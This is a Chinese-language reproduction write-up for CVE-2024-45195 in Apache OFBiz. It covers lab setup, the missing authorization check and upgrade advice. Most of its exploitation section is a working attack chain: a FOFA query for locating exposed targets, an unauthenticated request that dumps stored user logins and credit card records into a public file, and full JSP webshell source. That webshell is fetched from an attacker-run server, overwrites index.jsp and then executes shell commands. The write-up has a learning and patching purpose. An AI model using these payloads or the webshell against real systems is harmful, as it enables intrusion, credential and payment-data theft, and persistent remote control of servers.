0x01 组件介绍
Apache OFBiz是一个电子商务平台,用于构建大中型企业级、跨平台、跨数据库、跨应用服务器的多层、分布式电子商务类应用系统。
fofa语法:app="Apache_OFBiz" || "OFBiz.Visitor"
0x02 漏洞描述
2024年9月,官方发布新版本修复了CVE-2024-45195 Apache OFBiz 未经身份验证的远程代码执行,低于 18.12.16 的 Apache OFBiz 容易受到 Linux 和 Windows 上未经身份验证的远程代码执行攻击。没有有效凭据的攻击者可以利用 Web 应用程序中缺少的视图授权检查,在服务器上执行任意代码。绕过之前的 CVE-2024-32113、CVE-2024-36104 和 CVE-2024-38856 补丁可促进漏洞利用;此补丁绕过漏洞被跟踪为 CVE-2024-45195。
0x03 影响版本
Apache OFBiz < 18.12.16
0x04 环境搭建
0x01 下载
目前这个环境自己搭建的话还是比较麻烦,版本还是挺多选择的,我们选择个最近的版本18.12.15。
(运行 OFBiz 的唯一要求在系统上安装 Java 开发工具包 (JDK) 版本 8不仅仅是 JRE,而是完整的 JDK)
官方下载地址:https://archive.apache.org/dist/ofbiz/
下载完成,解压到目录下:
官方下载的压缩包少了一个关键文件,需要去GitHub官方代码库,下载:gradle-wrapper.jar
https://github.com/apache/ofbiz/tree/trunk/gradle/wrapper
下载完将文件保存到解压后的:gradle\wrapper目录下
回到刚才的主目录,在cmd执行命令:
gradlew cleanAll # 构建环境
启动过程还是比较繁琐的,不过也好在可以正常下去了
gradlew build # 构建环境
需要先创建用户名密码:admin:ofbiz
gradlew loadAll # 创建数据库并生成用户密码,执行过程较久
出现以下即为成功
gradlew ofbiz # 启动环境
能够见到以下界面,基本可以证明成功了
0x02 访问环境
按照第一步安装的的环境,在浏览器中打开
https://localhost:8443/webtools/control/checkLogin
(没有设置主机头,无法使用IP访问,只能先使用localhost访问)
找到刚才的根目录,进入到\framework\security\config路径下
修改security.properties文件
找到文件中的这一行:
host-headers-allowed=localhost,127.0.0.1,demo-trunk.ofbiz.apache.org,demo-stable.ofbiz.apache.org,demo-next.ofbiz.apache.org
在localhost后加入本机的IP,192.168.1.4(自己的IP),例如
host-headers-allowed=localhost,192.168.1.4,127.0.0.1,demo-trunk.ofbiz.apache.org,demo-stable.ofbiz.apache.org,demo-next.ofbiz.apache.org
修改完需要重启ofbiz,重启完用IP访问试试
https://l92.168.1.4:8443/webtools/control/checkLogin
0x05 漏洞原理
攻击者可以利用该漏洞绕过授权逻辑,通过请求获取未经授权的敏感信息以及写入文件进一步获取服务器权限。通过攻击者可以利用另一个视图XmlDsDump来利用应用程序,而无需进行身份验证。下面是一个可能的 Groovy 视图屏幕选项
利用xmlDsDump 视图可用于查询数据库中的几乎任何存储数据,并将结果数据写入磁盘上任意位置的任意命名文件。值得注意的是,附属的 Groovy 脚本 XmlDsDump.groovy 不强制执行授权检查。后续还能通过viewdatafile写入文件,并执行
0x06 漏洞验证
1.访问站点
先通过接口做概念性验证,将Apache OFBiz 存储的所有用户名、密码和转储到一个 Web 可访问的目录中
发送payload,文件名可随意命名
POST /webtools/control/forgotPassword/xmldsdump HTTP/1.1
Host: 192.168.1.4:8443
Content-Type: application/x-www-form-urlencoded
Content-Length: 215
outpath=./themes/common-theme/webapp/common/&maxrecords=&filename=20240907.txt&entityFrom_i18n=&entityFrom=&entityThru_i18n=&entityThru=&entitySyncId=&preConfiguredSetName=&entityName=UserLogin&entityName=CreditCard
2.通过以上payload,会在common目录下生成一个20240907.txt文件,将Apache OFBiz 存储的所有用户名、密码存进去,访问该文件,验证是否成功生成并且能访问
GET /common/20240907.txt HTTP/1.1
Host: 192.168.1.4:8443
根据响应可以看到相关内容已保存到文件中了
通过以上内容我们已经可以证明该站点存在漏洞了
但我们还是不满足,可以通过该漏洞写入webshell
接下来演示如何写入webshell
找一台vps,本地演示的话就用一台能互通centos机器就可以了,且要安装python
找一个目录,在该目录下创建两个文件
第1个文件
文件名:rceschema.xml,其中length="605"中的605要和rcereport.csv的长度一样
文件内容:
<data-files xsi:noNamespaceSchemaLocation="http://ofbiz.apache.org/dtds/datafiles.xsd" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
<data-file name="rce" separator-style="fixed-length" type-code="text" start-line="0" encoding-type="UTF-8">
<record name="rceentry" limit="many">
<field name="jsp" type="String" length="605" position="0"></field>
</record>
</data-file>
</data-files>
第2个文件
文件名:rcereport.csv,一个包含一行和单个值的 CSV,即JSP Webshell。最后要以 , 逗号结尾。
文件内容:
<%@ page import='java.io.*' %><%@ page import='java.util.*' %><h1>Ahoy!</h1><br><% String getcmd = request.getParameter("cmd"); if (getcmd != null) { out.println("Command: " + getcmd + "<br>"); String cmd1 = "/bin/sh"; String cmd2 = "-c"; String cmd3 = getcmd; String[] cmd = new String[3]; cmd[0] = cmd1; cmd[1] = cmd2; cmd[2] = cmd3; Process p = Runtime.getRuntime().exec(cmd); OutputStream os = p.getOutputStream(); InputStream in = p.getInputStream(); DataInputStream dis = new DataInputStream(in); String disr = dis.readLine(); while ( disr != null ) { out.println(disr); disr = dis.readLine();}} %>,
使用python2起一个web服务
python -m SimpleHTTPServer 8000
发送payload,会将文件保存到/applications/accounting/webapp/accounting/index.jsp中,原先就存在index.jsp文件,会覆盖掉原先index.jsp的内容,但本身该文件就是没有用的,所以可以放心覆盖
POST /webtools/control/forgotPassword/viewdatafile HTTP/1.1
Host: 192.168.1.4:8443
Content-Type: application/x-www-form-urlencoded
Content-Length: 251
DATAFILE_LOCATION=http://192.168.19.157:8000/rcereport.csv&DATAFILE_SAVE=./applications/accounting/webapp/accounting/index.jsp&DATAFILE_IS_URL=true&DEFINITION_LOCATION=http://192.168.19.157:8000/rceschema.xml&DEFINITION_IS_URL=true&DEFINITION_NAME=rce
可以看到vps已经有请求了
接下来就可以执行命令了
https://192.168.1.4:8443/accounting/index.jsp?cmd=whoami
GET /accounting/index.jsp?cmd=whoami HTTP/1.1
Host: 192.168.1.4:8443
至此,漏洞复现完毕
0x07 漏洞影响
通过以上过程,我们可以看到该漏洞危害极大,且该漏洞利用难度也极低,可以写入文件,可以执行写入的任意代码,从而获得服务器的进一步控制权。漏洞危害性高,且Apache OFBiz 被许多大型组织使用,之前披露的漏洞已经被广泛利用,基于此点,企业用户请尽快进行修复。
0x08 修复建议
1.升级版本
官方已发布 18.12.16 ,建议升级至18.12.16及其以上版本。
下载地址:https://ofbiz.apache.org/download.html
2.临时措施:
(1)如非必要,不要将该系统放置在公网上。或通过网络ACL策略限制访问来源,例如只允许来自特定IP地址或地址段的访问请求。
0X09 参考链接
https://www.rapid7.com/blog/post/2024/09/05/cve-2024-45195-apache-ofbiz-unauthenticated-remote-code-execution-fixed/
0x010 免责声明
本文所涉及的任何技术、信息或工具,仅供学习和参考之用。
请勿利用本文提供的信息从事任何违法活动或不当行为。任何因使用本文所提供的信息或工具而导致的损失、后果或不良影响,均由使用者个人承担责任,与本文作者无关。
作者不对任何因使用本文信息或工具而产生的损失或后果承担任何责任。使用本文所提供的信息或工具即视为同意本免责声明,并承诺遵守相关法律法规和道德规范。